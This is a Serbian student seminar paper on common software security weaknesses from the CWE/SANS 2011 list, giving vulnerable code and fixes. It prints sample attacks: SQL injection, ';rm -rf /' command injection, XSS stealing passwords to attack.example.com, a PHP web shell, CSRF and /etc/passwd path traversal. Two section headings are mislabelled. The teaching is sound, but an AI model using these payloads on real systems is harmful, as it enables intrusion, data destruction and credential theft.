seminarski rad - poincare.matf.bg.ac.rspoincare.matf.bg.ac.rs/~vladaf/courses/matf...

34
Univerzitet u Beogradu Matematički fakultet Seminarski rad predmet: Metodologija naučnog i stručnog rada Najčešći problemi i greške koji se javljaju kod programera pri razvoju softvera Studenti: Profesor: Sanja Petrović dr. Vladimir Filipović Dragana Andrejić Perica Trajkov

Upload: haphuc

Post on 10-Apr-2018

233 views

Category:

Documents


1 download

TRANSCRIPT

Univerzitet u Beogradu

Matematički fakultet

Seminarski rad

predmet: Metodologija naučnog i stručnog rada

Najčešći problemi i greške koji se javljaju kod

programera pri razvoju softvera

Studenti: Profesor: Sanja Petrović dr. Vladimir Filipović

Dragana Andrejić

Perica Trajkov

UVOD

Kao i svaki drugi rad, tako je i programerski rad podložan greškama. Neke od tih grešaka su

lake za otkrivanje i nisu veoma opasne. Međutim, postoje greške koje ne samo da su česte nego su i

potencijalno veoma opasne ukoliko ih zlonamerni korisnik iskoristi. Lista od 25 najopasnijih

softverskih grešaka iz 2011. godine sastavljena od strane grupe CWE/SANS je lista

najrasprostranjenijih i najkritičnijih grešaka koje mogu da dovede do ozbiljnih ranjivosti u softveru.

Ove greške su često lake za nalaženje, i lake za popravku. Opasne su iz razloga što često dozvoljavaju

napadačima da u potpunosti ili delimično stave softver pod svoju kontrolu, da ukradu podatke, ili da

spreče da softver uopšte radi.

Ova lista najčešdih grešaka može da posluži kao alat za edukaciju i skretanje pažnje

programerima pri kreiranju softvera. Ona je rezultat rada između SANS instituta, MITRE grupe i

mnogih eksperata za softversku bezbednost. Lista iz 2011. godine predstavlja unapređenu i ažuriranu

listu iz 2010. godine.

U ovom radu obrađeno je 15 najčešdih grešaka koje se javljaju u ovoj listi. U nastavku je dat

prikaz tih grešaka po prioritetu bitnosti/javljanja.

Nepravilna neutralizacija specijalnih elemenata korišćenih u SQL naredbama (SQL Injection)

Opis

U računarskom svetu, celokupan softver je veoma povezan sa podacima: smeštanje u

bazu, uzimanje iz baze ili kreiranje informacija iz njih, koje bi se kasnije negde koristile.

Kad bi zlonamerni korisnici mogli na neki način da utiču na SQL upit koji se koristi za

komunikaciju sa bazom podataka, onda bi mogli nastati veliki problemi. Ukoliko se

koristi SQL kod u bezbednosne svrhe poput autentikacije, zlonamerni korisnici bi mogli

da promene logiku SQL upita kako bi zaobišli bezbednosna ograničenja. Upiti se mogu

izmeniti tako da kradu, oštete ili na neki drugi način promene podatke. U 2011. godini

SQL Injection je bio odgovoran za mnoge napade čak i na velike firme poput Sony

Pictures, PBS, MYSQL.com i mnoge druge.

Napad se vrši tako što zlonamerni korisnik unese odreĎeni tekst u polje za unos

teksta, čija vrednost se koristi u nekom SQL upitu. Tekst koji se unosi u polje je takav da

kad se pripoji SQL upitu, zapravo menja upit tako što obično umanjuje restriktivnost

uslova u upitu. Na taj način je moguć pristup veći od onog koji je bio planiran za

posetioca. Ovo se najbolje može objasniti na sledećem primeru:

Primer

Neka neki program u svom kodu koristi sledeći upit:

SELECT * FROM items WHERE owner = <userName> AND itemname =

<itemName>;

S obzirom na to da se SQL upit gradi dinamički nadovezivanjem stringa koji unosi

korisnik na bazni string, tada ukoliko korisnik sa korisničkim imenom boban u polje za

unos koje očekuje itemName, unese:

name' OR 'a'='a

tada upit postaje sledeći:

SELECT * FROM items WHERE owner = 'boban' AND itemname = 'name' OR 'a'='a';

Dodatak OR 'a'='a' prouzrokuje da WHERE klauza uvek ispunjava uslov pa upit postaje

logički ekvivalentan sa mnogo jednostavnijim upitom:

SELECT * FROM items;

Na ovaj način se umesto vraćanja samo onih stavki koje se tiču odreĎenog korisnika, vraćaju

sve stavke u tabeli.

Načini rešavanja problema

Korišćenje slojeva otpora poput Hibernate ili Enerprise Java Beans, koji mogu da

obezbede značajnu zaštitu od ovakvih napada ako se pravilno koriste.

Ukoliko je moguće treba koristiti strukturirane mehanizme koji automatski razdavaju

podatke od koda. Ovi mehanizmi su u mogućnosti da postavljaju znake navoda tamo

gde je potrebno, da vrše odgovarajuće enkodiranje ili automatsku validaciju. Na ovaj

način se ne mora oslanjati na razvijaoce softvera da će paziti prilikom rizičnih SQL

upita.

Pokretanje koda korišćenjem najmanje privilegija koje su neophodne za njegovo

uspešno izvršavanje

Sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj

Ukoliko je neophodno da se koriste dinamičko generisani SQL upiti voditi računa da

se argumenti stave pravilno pod navodnike, i da se koriste iskejp sekvence (escape

sequence) za svaki specijalni karakter

Pretpostaviti najgori slučaj – svaki unos je maliciozan

Nepravilna neutralizacija specijalnih elemenata korišćenih u OS naredbama (OS Injection)

Opis

Softver je često most izmeĎu nekoga izvan i unutrašnjosti operativnog sistema. Kada

se pozove neki drugi program u operativnom sistemu, a dozvole se unosi koji nisu

provereni, pomoću kojih se generiše string komanda, tada se otvara mogućnost da

zlonamerni korisnici izvršavaju sopstvene komande umesto predviĎenih. To može dovesti

do ranjivosti okruženja u kom napadač nema direktan pristup operativnom sistemu, na

primer u veb aplikacijama. Alternativno, ako se bezbednosna slabost javi u programu sa

privilegijama pristupa, ta slabost može da omogući napadaču da koristi komande koje

inače ne bi bile dozvoljene.

Primer

Neka je dat sledeći kod u jeziku PHP:

$userName = $_POST["user"];

$command = 'ls -l /home/' . $userName;

system($command);

Promenljiva $userName se ne proverava od opasnog sadržaja. Napadač može da

postavi sadržaj ove promenljive na neku proizvoljnu komandu, npr:

;rm -rf /

Sada komanda (promenljiva $command) ima sadržaj:

ls -l /home/;rm -rf /

S obzirom na to da je tačka-zarez separator komandi u UNIX sistemima, ova

komande će pored listanja sadržaja direktorijuma izvršiti i brisanje celog fajl sistema.

Načini rešavanja problema

Korišćenje bibliotečkih poziva, umesto eksternih procesa da bi se dobila željena

funkcionalnost

Pokretanje koda u “jail” ili sličnom sandbox okruženju, koje nameće striktne granice

izmeĎu procesa i operativnog sistema. Na ovaj način se može ograničiti pristup

fajlovima ili komandama koje se mogu izvršiti

Svi podaci koji se koriste za generisanje komandi koja će se izvršavati, trebaju se

čuvati što dalje od eksterne kontrole. Npr. u veb aplikacijama ovo podrazumeva

čuvanje podataka lokalno u stanju sesije, umesto slanja podataka klijentu u

sakrivenom polju forme

Sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj

Kopiranje u bafer bez provere veličine ulaza (Buffer Overflow)

Opis

Kopiranje ulaza kome nije proverena njegova veličina u bafer, je jedna od

najjednostavnijih, ali istovremeno i najčešćih grešaka koje se mogu javiti u

programiranju. Takodje, ovo je i jedna od najstarijih grešaka u programiranju. Stanje

prekoračenog bafera se javlja kad program pokušava da smesti više podataka u njega

nego što bafer može da primi, ili kada program pokušava da smesti podatke van granica

bafera. Najjednostavniji tip greške, i najčešći uzrok prekoračenja bafera, je kad program

kopira bafer bez provere koliko se kopira.

Primer

Neka je dat sledeći kod u jeziku C:

char last_name[20];

printf ("Enter your last name: ");

scanf ("%s", last_name);

Problem sa prethodnim kodom je taj da on ne ograničava veličinu unosa od strane

korisnika. Ukoliko korisnik unese nešto što ima više od 20 karaktera, tada će se javiti

prekoračenje bafera, jer niz karaktera u koji se unosi prezime može da sadrži najviše 20

karaktera.

Neka je dat sledeći kod u jeziku C koji pokušava da napravi lokalnu kopiju bafera da

bi mogao da pravi neke izmene nad podacima:

void manipulate_string(char* string){

char buf[24];

strcpy(buf, string);

...

}

Medjutim, programer se ne uverava da li veličina podatka na koji pokazuje pokazivač

string, odgovara lokalnom baferu, i “naslepo” kopira sadržaj pomoći funkcije strcpy koja

je potencijalno nebezbedna.

Načini rešavanja problema

Korišćenje programskih jezika koji ne dozvoljavaju ove slabosti, ili koji obezbeĎuju

konstrukte koji olakšavaju da se ovaj problem primeti. Npr. mnogi jezici koji imaju

svoj menadžer memorije, kao što su Java i Perl, onemogućavaju ovakve situacije.

Neki jezici, poput Ade i C#, obično onemogućavaju prekoračenje bafera ali se ova

opcija može isključiti.

Korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi (npr. Safe C

String Library - SafeStr)

Kompajliranje programa pomoću kompajlera koji automatski obezbeĎuje zaštitne

mehanizme protiv prekoračenja bafera, time što prijavljuju upozorenje

Vršiti dvostruke provere veličine bafera, paziti o granicama bafera ukoliko se njemu

pristupa u petlji, a ponekad i odsecati ulazne podatke eksplicitno za svaki slučaj

Pretpostaviti da je svaki unos preveliki

Nepravilna neutralizacija ulaza prilikom generisanja Web stranica (Cross-site Scripting)

Opis

Cross-site Scripting (XSS) je jedana od preovlaĎavajućih, upornijih i opasnijih

ranjivosti u web aplikacijama. Ova ranjivost je praktično neizbežna kada kombinujemo

HTTP-ovo nepostojanje stanja, razne podatke i skriptove u HTML-u, dosta prenošenja

podataka izmedju web sajtova, raznovrsne šeme enkodiranja i web pregledače sa dosta

dodataka. Ukoliko nismo pažljivi, napadači mogu da ubace Javascript ili drugi izvršni

kod za pregledač u web stranicu koju naša web aplikacija generiše. Našoj web stranici

pristupaju razni korisnici, čiji pregledači izvršavaju maliciozan skript koji je došao od

nas, a zapravo je delo nekog zlonamernog korisnika. Do ovoga dolazi jer naš veb softver

ne neutrališe, ili loše neutrališe unos od strane korisnika. XSS ranjivost se javlja u

sledećoj okolnosti:

sumnjivi podaci dospeju do web aplikacije

veb aplikacija dinamički generiše veb stranicu koja sadrži ove sumnjive podatke

tokom generisanja stranice, aplikacija ne sprečava da podaci sadrže delove koji su

izvršivi u veb pregledaču, poput JavaScript kodova, dogaĎaja miša, Flash, ActiveX

kontrole itd.

žrtva posećuje generisanu veb stranicu preko veb pregledača, koja sadrži maliciozan

skript

s obzirom na to da skript dolazi sa stranice koja je poslata od istog veb servera, žrtvin

veb pregledač izvršava maliciozan skript

ovo narušava politiku veb pregledača, koja kaže da skriptovi na jednom domenu ne

smeju da pristupe resursima ili da izvršavaju skript sa drugog domena

Primer

Neka je kod u PHP-u koji prikazuje pozdravnu poruku na stranici baziranu na HTTP

GET username parametru.

$username = $_GET['username'];

echo '<div class="header"> Welcome, ' . $username . '</div>';

S obzirom na to da parametar može biti proizvoljan, URL strane može biti

modifikovan tako da $username sadrži neki skript npr:

http://trustedSite.example.com/welcome.php?username=<Script

Language="Javascript">alert("You've been attacked!");</Script>

Ovo rezultuje bezopasnim alert dijalogom koji iskače. Inicijalno, ovo ne izgleda kao neka

pretnja. Prava opasnost je što će napadač da kreira maliciozni URL, a onda da iskoristi e-

poštu ili socijalni inženjering da namami žrtve da poseti link ka nekoj stranici.

Često, napadač može da ugradi lažnu login stranu, i time prevari korisnika da unese šifru koju

će napadač moći videti, npr:

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please

Login:<form name="input" action="http://attack.example.com/stealPassword.php"

method="post">Username: <input type="text" name="username" /><br/>Password: <input

type="password" name="password" /><input type="submit" value="Login" /></form></div>

Ukoliko korisnik klikne na ovaj link tada će Welcome.php da izgeneriše lažnu stranu

za logovanje.

Načini rešavanja problema

korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi ili koje

obezbeĎuju konstrukte koji olakšavaju da se ovaj problem primeti.

razumevanje konteksta u kojem će se naši podaci koristiti, kao i enkodiranja koje će

biti očekivano. Za sve podatke koji će biti prikazani na stranici, naročito za one koji

su dobiveni od eksternog unosa, treba koristiti odgovarajuće enkodiranje

nealfanumeričkih karaktera

razumevanje svih mogućih oblasti gde bi neželjeni unosi mogli da naškode web

aplikaciji: parametri ili argumenti, kolačići, promenljive okruženja, rezultati upita i dr.

sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj

pretpostaviti da je sav unos maliciozan

Nedostajuća autentikacija za kritične funkcije (Cross-site Scripting)

Opis

Softver može da otkrije odreĎenu kritičnu funkcionalnost time što pretpostavlja da

niko neće ni da pomisli da upadne u sistem na drugi način osim “ulaskom na glavna

vrata”. MeĎutim napadači mogu da otkriju alternativne načine za ulazak u sistem gde im

neće trebati autentikacija. Softver ne vrši nikakvu autentikaciju za funkcionalnost koja

zahteva dokaz o identitetu korisnika ili koja koristi veliku količinu resursa.

Primer

U narednom Java primeru metoda createBankAccount se koristi da se napravi

BankAccount objekat za bankarsku menadžersku aplikaciju.

public BankAccount createBankAccount(String accountNumber, String accountType,

String accountName, String accountSSN, double balance) {

BankAccount account = new BankAccount();

account.setAccountNumber(accountNumber);

account.setAccountType(accountType);

account.setAccountOwnerName(accountName);

account.setAccountOwnerSSN(accountSSN);

account.setBalance(balance);

return account;

}

MeĎutim ne postoji mehanizam autentikacije koji bi osigurao da korisnik koji pravi

BankAccount objekat ima autorizaciju da pravi nove bankarske naloge. Neki

autentikacijski mehanizam se mora koristiti da se proveri da korisnik ima autorizaciju da

pravi objekte bankarskih naloga.

Načini rešavanja problema

podela softvera na nekoliko nivoa delova (za goste, privilegovani delovi,

administrativni delovi). Odrediti za koje od njih je potreban dokaz o identitetu

korisnika. Identifikovati sve potencijalne kanale za komunikaciju, ili druge načine za

interakciju sa softverom, da bi se osigurali da su svi kanali propisno obezbeĎeni.

sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj

kadgod je moguće, izbegavati implementiranje posebnih rutina za autentikaciju i

razmotriti korišćenje autentikacijskih mogućnosti koje su podržane od stane

frejmvorka, operativnog sistema ili okruženja

korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi ili koje

obezbeĎuju konstrukte koji olakšavaju da se ovaj problem primeti. Na primer,

razmotriti korišćenje biblioteka sa autentikacijskim mogućnostima poput OpenSSL ili

ESAPI Authenticator.

Nedostatak autorizacije

Opis

Pretpostavimo da ste domaćin kućne proslave za nekoliko bliskih prijatelja i njihovih

gostiju. Sve goste smestite u vašu dnevnu sobu, ali dok vi razgovarate sa jednim od vaših

prijatelja, jedan od gostiju istažuje po vašem ormariću, frižideru i gleda šta krijete u

noćnom stočiću pored kreveta. Softver se suočava sa sličnim problemima ovlašćenja koji

mogu dovesti do teških posledica. Ako ne obezbedite da softverski korisnici rade samo

ono sto im je dozvoljeno, napadači će pokušati da iskoriste vaše neispravno ovlašćenje i

vršiće neovlašćene radnje namenjene samo za ograničene korisnike. U maju 2011,

Citigroup je otkrio da je ugrožen od strane hakera, koji su bili u stanju da ukradu podatke

o stotinama hiljada bankovnih računa promenom informacija o računu koji je bio prisutan

u oblastima u URL-u. Ranije, nedostatak autorizacije je korišćen za napad za kradju

privatnih informacija o iPad vlasnika AT&T sajta.

Primer

Ova funkcija radi proizvoljan SQL upit nad datom bazom podataka i vraća rezultat upita.

function runEmployeeQuery($dbName, $name)

{

mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);

$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE

name = :name');

$preparedStatement->execute(array(':name' => $name));

return $preparedStatement->fetchAll();

}

/.../ $employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

Dok je ovaj kod dovoljno pažljiv da izbegne SQL Injection, funkcija ne potvrdjuje da

korisnik ima autorizaciju da pošalje kveri. Napadač ima mogucnosti da uzme osetljive

podatke o zaposlenima iz baze podataka.

Načini rešavanja problema

Podelite svoju aplikaciju na anonimne, normalne, privilegovane i administrativne

oblasti.

Uverite se da ste izvrsili kontrolu pristupa provere vezane za vaše poslovne logike.

Na primer, baza podatka moze da ograniči pristup medicinske dokunemtacije

odredjenog korisnika baze podataka, ali svaki zapis može biti namenjen da bude

dostupan za pacijenta i lekara pacijenta.

Koristite perspektivne biblioteke ili okvire koji ne dozviljavaju da dodje do slabosti

ili obezbedjuju konstrukcije koje omogućavaju da se ta slabost lakse izbegne. Na

primer, razmislite o korišćenju autorizacija okvira kao sto su JAAC Authorization

Framework i OWASP ESAPI Access Control feature.

Za veb aplikacije, uverite se da se mehanizam za kontrolu pristupa pravilno izvršava

na strani servera na svakoj stranici. Kosisnicima ne bi trebalo da bude dozvoljeno da

pristupe bilo kojoj neovlašcenoj funkcionalnosti.

Koristite mogućnosti kontrole pristupa vašeg operativnog sistema.

Korišćenje hard-kodiranih akreditiva

Opis

Fiksno kodiranje tajne lozinke ili kriptografskog ključa u vaš program je loša navika,

iako se čini izuzetno pogodnom za obučene inžinjere. Iako može da smanji vaš budžet za

testiranje i podršku, može da smanji sigurnost vaših klijenta do nule. Ako je lozinka ista za

sve vaše softvere, onda svaki korisnik postaje ranjiv ako otkriju vašu lozinku. Zato što je

fiksno kodirana obično je veliki problem za popravku za sistem administratore. I znate koliko

vole neprijatnosti u 2 ujutru kada je njihova mreža hakovana - otprilike isto koliko bi vi voleli

da odgovarate hordama ljutih korisnika i novinarima ukoliko vaša mala tajna izadje u javnost.

Većina od CWE top 25 može biti objašnjena kao iskrena greška; zbog ovog problema, mnogi

korisnici neće videti na taj način. Visoko profilni Stuxnet crv, koji je izazvao operativne

probleme u Iranskom nuklearnom postrojenju, koristio je fiksno kodirane akreditive za

širenje. Još jedan način na koji fiksno kodirane akreditive nastaju je kroz neenkriptovane ili

bagovito skladište u konfiguracionom fajlu, registru ključeva ili neke druge lokacije kojima

može da pristupa samo administrator. Iako je ovo mnogo više pristojno nego zakopavati ih u

binarnom programu gde ne mogu biti izmenjene, postaje loša ideja izlagati ovaj fajl strancima

preko slabih dozvola ili drugih sredstava.

Primer

Sledeći kod koristi fiksno kodiranu lozinku za povezivanje sa bazom podataka:

...

DriverManager.getConnection(url, "scott", "tiger");

...

Ovo je primer spoljašne fiksno kodirane lozinke na klijentskoj strani veze. Ovaj kod

će se izvršavati uspešno, ali svako ko ima pristup njemu imaće pristup šifri. Kada je program

otpremljen, nema povratka nazad za korisnika baze "scott" sa lozinkom "tiger" ukoliko se

program ne premosti. Snalažljiv radnik sa pristupom ovoj informaciji može da je iskoristi da

provali u sistem. Čak i gore, ako napadač ima pristup bytecode za ovu aplikaciju, mogu da

iskoriste javap -c komandu da pristupe rastavljenom kodu, koji će da sadrži lozinke koje su

korišćene. Rezultat ove operacije može da izgleda ovako za primer iznad:

javap -c ConnMngr.class

22: ldc #36; //String jdbc:mysql://ixne.com/rxsql

24: ldc #38; //String scott

26: ldc #17; //String tiger

Načini rešavanja problema

Za odlaznu autentifikaciju : čuvati lozinke, ključ i druge akreditive van koda u snažno

zaštićenim, kodiranom konfiguracionom fajlu ili u bazi podataka zaštićenoj od

pristupa autsajdera, uključujući i druge lokalne korisnike na istom sistemu. U

Windows okruženju, šifrovani sistem datoteka moze da pruži neku vrstu zaštite.

Za potvrde identiteta pomoću lozinki primeniti jake jednosmerne heševe za lozinke i

čuvati heševe u konfiguracionim fajlovima ili bazi podataka sa odgovarajućim

kontrolama pristupa. Na taj način kradja datoteke ili baze podataka i dalje zahteva

napadaču da razbije lozinku.

Za front-end to back-end veze postoje 3 rešenja mada nijedno nije potpuno.

Nedostatak šifrovanja osetljivih podataka

Opis

Kad god se osetljivi podaci čuvaju ili prenose bilo gde van vaše kontrole, napadači su

u potrazi za načinima da dodju do njih. Ako vaš softver šalje osetljive informacije preko

mreže, ta informacija prelazi mnogo razližitih čvorova u tranzitu do krajnjeg odredišta. Ako

vaš softver čuva osetljive informacije na lokalnoj datoteci ili bazi podataka, postoje drugi

načini da napadači dodju do njih. Setimo se masovnih kradja kreditnih kartica.

Primer

Ovaj kod piše korisničke informacije za prijavu u kolačić, pa korisnik ne mora da se

prijavljuje ponovo.

function persistLogin($username, $password)

{

$data = array("username" => $username, "password"=> $password);

setcookie ("userdata", $data);

}

Kod čuva ime korisnika i lozinku u otvorenom tekstu u kolačiću na mašini korisnika.

Ovo izlaže prijavu informacije o korisniku ukoliko je njegov računar ugrožen od strane

naparača.

Načini rešavanja problema

Jasno odredite koji podaci ili resursi su dovoljno vredni da treba da budu zašticeni

enkripcijom. Zahtevajte da svaki prenos ili skladištenje ovih podataka /resursa koristi

dobru proveru od algoritma za šifrovanje.

Identifikovati posebne potrebe i kontekste za šifrovanje

Nemojte sami da razvijate svoje sopstvene kriptografske algoritme. Proverite da ne

koristite zastarelu kriptografiju. Neki stariji algoritmi za koje se nekada mislilo da

zahtevaju milijarde godina, danas mogu biti slomljeni u nekoliko dana ili sati.

Ne dozvolite da osetljivi podaci idu van granica poverenja i uvek budite oprezni

prilikom povezivanja sa odeljkom van zaštićene zone

Koristite konvencije za imenovanje i jake tipove. Prilikom kreiranja strukture,

objekta i druge složene celine, odvojite osetljive podatke i one koji nisu osetljivi što

je više moguće.

Nesmetano otpremanje fajlova sumnjivog tipa

Opis

Kačenje (otpremanje) fajlova na server može biti problematičan posao, i treba ga

kontrolisati. Naime, neko može da naizgled kači neku sliku na naš server, medjutim ta slika

može imati neku ekstenziju koja može da mu naškodi. Recimo umesto ekstenzije .gif (za

sliku) može stajati .php, sto može napraviti ozbiljne probleme serveru.

Primer

Naredni kod dozvoljava korisniku kačenje slike na server. HTML kod ima ulazno

polje tipa 'file':

<form action="upload_picture.php" method="post" enctype="multipart/form-

data">

Choose a file to upload:

<input type="file" name="filename"/>

<br/>

<input type="submit" name="submit" value="Submit"/>

</form>

Kada se pošalje, forma šalje fajl stranici upload_picture.php na serveru. PHP kod

zatim skladišti taj fajl na privremenu lokaciju sve dok ne zatreba serveru ili dok se

jednostavno ne izbriše.

U sledecem primeru, fajl je premešten u pictures/ folder.

// Zadajemo lokaciju gde ce okačena slika biti snimljena

$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Premešta okačen fajl na novu lokaciju

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))

{

echo "The picture has been successfully uploaded.";

}

else

{

echo "There was an error uploading the picture, please try again.";

}

Problem sa gornjim kodom je u tome sto ne postoji provera tipa fajla koji se kači.

Ako pretopostavimo da je dozvoljen pristup folderu pictures/, napadač bi lako mogao da

okači neki fajl tipa:

malicious.php

S obzirom da je fajl .php, on ce biti izvršen na veb serveru. Napadač bi zatim mogao

da unese sledeći kod:

<?php

system($_GET['cmd']);

?>

Zatim bi vrlo lako nakon ove komande mogao da pristupi komandama na serveru

preko URL adrese:

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

koja zapravo pokreće komandu 'ls -l' ili bilo koju drugu komandu.

Načini rešavanja problema

Sami generisati ime fajla za svaki fajl koji se kači. Ne koristiti ime fajla koje je

korisnik dopremio

.

Fajlove koji se dopremaju smestati u zaseban folder, koji nema veze sa folderima koji

sadrže neki web dokument. Po potrebi koristiti mehanizme koji će te fajlove

prebacivati u bitnije foldere.

Oslanjanje na neproverene ulaze u bezbednosnim odlukama

Opis

U zemljama gde je starosna granica za konzumiranje alkohola minimalna, u barovima

se obično traži da mušterija pokaže legitimaciju kako bi se utvrdilo da li joj se sme prodati

alkohol. Mada ukoliko neko deluje dovoljno odraslo ova procedura se može i preskočiti, što

mogu iskoristiti malolena lica koja izgledaju starije. Dodatno je komlikovano utvrditi da li je

legitimacija prava ili pak da li osoba koristi tudju legitimaciju. Na sličan način, programeri se

često oslanjaju na nepouzdane ulaze, jos kada se ti ulazi koriste pri dodeli pristupa nekom

zabranjenom resursu, može doći do problema.

Primer

Pretpostavimo da neka aplikacija koristi zaštitni mehanizam koji zavisi od postojanja

ili vrednosti nekog ulaza, s tim što taj ulaz može biti modifikovan od strane neovlašćenog lica

u cilju premošćavanja bezbednosnog mehanizma.

Sledeći deo koda ilustruje kako utvrditi ulogu korisnika preko kukija:

Cookie[] cookies = request.getCookies();

for (int i =0; i< cookies.length; i++) {

Cookie c = cookies[i];

if (c.getName().equals("role")) {

userRole = c.getValue();

}

}

Načini rešavanja problema

Skladištiti osetljive podatke i informacije o stanju samo na serverskoj strani.

Obezbediti da sistem nedvosmisleno prati svoja stanja i stanja korisnika kao i pravila

koja definisu dozvoljene prelaze iz stanja. Ne dozvoljavati bilo kojoj korisnickoj

aplikaciji da utiče na stanja direktno.

Obezbediti da se bilo koje sigurnosne provere koje se dešvaju na klijentskoj strani

dupliraju i na serverkoj, kako bi se izbegla CWE-602.

Izvršavanja sa nepotrebnim privilegijama

Opis

Čovek-pauk, dobro poznati superheroj, prati svoj moto: “Sa velikom moći dolazi i

velika odgovornost.” Softver može da zahteva odgovarajuće privilegije za obavljanje

odgovarajućih poslova, ali korišćenje tih privilegija više nego što je potrebno može biti

rizično. Ukoliko koristi dodatne privilegije, aplikacija ima pristup resursima kojima korisnik

ne može pristupiti direktno. Na primer, možemo pokrenuti zaseban program i taj program

omogućava svom korisniku da odabere datoteku za otvaranje, ova odlika se često pojavljuje

kod editora. Korisnik može pristupiti neovlašćenim fajlovima kroz pokrenut program,

zahvaljujući tim dodatnim privilegijama. Ukoliko i ne pokrenemo druge programe, dodatni

propusti u softveru mogu izazvati mnogo ozbiljnije posledice nego da je pokrenut sa nižim

nivoom privilegija.

Primer

Naredni kod poziva funkciju chroot() koja ograničava pristup aplikacije na podskup

fajlova koji su ispod APP_HOME u cilju sprečavanja da napadač koristi program za pristup

neovlašćenim datotekama koje se nalaze negde drugde. Kod nakon toga otvara fajl koji je

odredio korisnik i obraĎuje sadržaj datoteke.

chroot(APP_HOME);

chdir("/");

FILE* data = fopen(argv[1], "r+");

Ograničavanje izvršavanja procesa u okviru home direktorijuma aplikacije pre otvranja bilo

kakve datoteke je dragocena mera bezbednosti.

Načini rešavanja problema

Pokretanje koda korišćenjem najnižih privilegija koje su neophodne da bi se izvršili

svi neophodni zadaci. Ukoliko je moguće, kreirati izolovane naloge sa ograničenim

privilegijama koji se koriste za izvršavanje samo jednog zadatka. Na taj način,

prilikom uspešnog napada napadaču neće odmah biti omogućen pristup ostatku

softvera. Na primer, aplikacije za rad sa bazama podataka retko zahtevaju da budu

pokrenute od strane administratora baze podataka, pogotovu ukoliko su to neke

jednostavnije svakodnevne operacije.

Odrediti funkcionalnosti koje zahtevaju posebne privilegije, kao što je pristup

privilegovanim resursima operativnog sistema. Ove funkcionalnosti treba izdvojiti i

izolovati od ostatka koda ukoliko je to moguće. Privilegije treba podizati sto je

kasnije moguće i spuštati ih što je pre moguće.

Treba raditi validaciju unosa za svaki privilegovan kod koji treba biti izložen

korisniku i treba odbaciti sve što se ne uklapa u postavljene zahteve.

Kada odbacujemo privilegije treba proveriti to da li su uspešno odbačene

Ukoliko okolnosti zahtevaju da kod bude pokrenut sa dodanim privilegijama tada

treba odrediti minimalni nivo pristupa koji je neophodan.

Cross-Site Request Forgery (CSRF)

Opis

Cross Site Scripting (često skraćeno nazivan XSite scripting ili XSS) je sistem koji

podrazumeva emitovanje neželjene klijentski definisane skripte mimo znanja korisnika.

Primer

Ovaj tip napada (CSRF) eksploatiše korisnikove privilegije bez njegovog znanja,

koristeći se njegovom sesijom i http metodama. Recimo da korisnik poseduje svoj blog i da

napadač želi da postavi poruku na tom blogu u ime korisnika. Napadač to, naravno, ne može

da učini bez autentikacionih podataka. Ali, mogao bi nekako „nagovoriti″ korisnika da to

uradi sam, tako što će na sajtu kome korisnik veruje, postaviti skriptu koja korisnika vodi na

ciljani sajt (blog) i izvršava odreĎene akcije (postavlja tekst). Najčešća lokacija ovakvih

skripti je u src atributu img tagova:

<img src="http://blog/?postaviPost">

Aplikacija (ukoliko nema rešen ovaj bezbednosni deo) zatim proverava korisnikovu sesiju,

koja je u redu, jer je korisnik autorizovan, i verujući mu, izvršava odreĎenu akciju, pri čemu,

ni korisnik, ni aplikacija, najčešće ne znaju da su prevareni.

Ovo je posebno zgodno ukoliko korisnik ima administratorske privilegije. Ukoliko je

ukombinovan sa XSS rezultat može biti razarajući.

Načini rešavanja problema

Korišćenje proverenih biblioteka koje ne dozvoljavaju da doĎe do ovakvih situacija

ili koje obezbeĎuju konstrukcije koje čine da se ova slabost lakše izbegne. Na primer,

koristiti anti-CSRF pakete kao što je OWASP CSRFGuard.

Treba identifikovati veoma opasne operacije. Kada korisnik želi da izvrši neku

opasnu operaciju, treba poslati zahtev za potvrdu da se utvrdi da li korisnik stvarno

želi da izvrši tu operaciju.

Ne koristiti GET metod za zahteve koji dovode do promene stanja

Neodgovarajuća ograničenja putanje zabranjenog direktorijuma (Path traversal)

Opis

Dok se podaci često razmenjuju korišćenjem fajlova nekad ne želimo da razotkrijemo

svaki fajl na našem sistemu dok to radimo. Dok pravimo ime fajla, rezultujuća putanja može

ukazivati negde van predviĎenog direktorijuma. Napadač može ukombinovati više „..“ ili

nekih drugih sekvenci kako bi naveo operativni sistem da izvrši navigaciju van

odgovarajućeg direktorijuma, negde u ostatku sistema.

Primer

Naredni kod može biti korišćen u aplikaciji za društvene mreže u kojoj se informacije

za svakog korisnika čuvaju u zasebnim fajlovima. Svi ti fajlovi se nalaze u jednom istom

direktorijumu:

my $dataPath = "/users/cwe/profiles";

my $username = param("user");

my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");

print "<ul>\n";

while (<$fh>) {

print "<li>$_</li>\n";

}

print "</ul>\n";

Dok programer pristupa fajlovima sa komandama kao što su: /users/cwe/profiles/alice ili

/users/cwe/profiles/bob napadač može koristiti string kao što je: ../../../etc/passwd. Program će

tada generisati putanju: /users/cwe/profiles/../../../etc/passwd. Kada je fajl otvoren operativni

sistem razrešava “../” I pristupa fajlu: /etc/passwd. Kao rezultat napadač može pročitati sadržaj fajla za lozinke.

Načini rešavanja problema

Pretpostavimo da su svi ulazi zlonamerni. Koristimo „prihvati samo dobro poznato“

metod za validaciju unosa. Prilikom vršenja validacije, razmotriti sve potencijalno

odgovarajuće osobine, uključujući dužinu, tip ulaza, pun opseg prihvatljivih

vrednosti, sintaksa, usaglašenost sa pravilima poslovanja. Kao primer logike o

pravilima poslovanja možemo uzeti ulaz „brod“, koji može biti sintaksno ispravan

zato što sadrži samo alfanumeričke karaktere, ali on nije ispravan ukoliko se očekuje

da ulaz sadrži samo imena boja kao što su „crveno i plavo“.

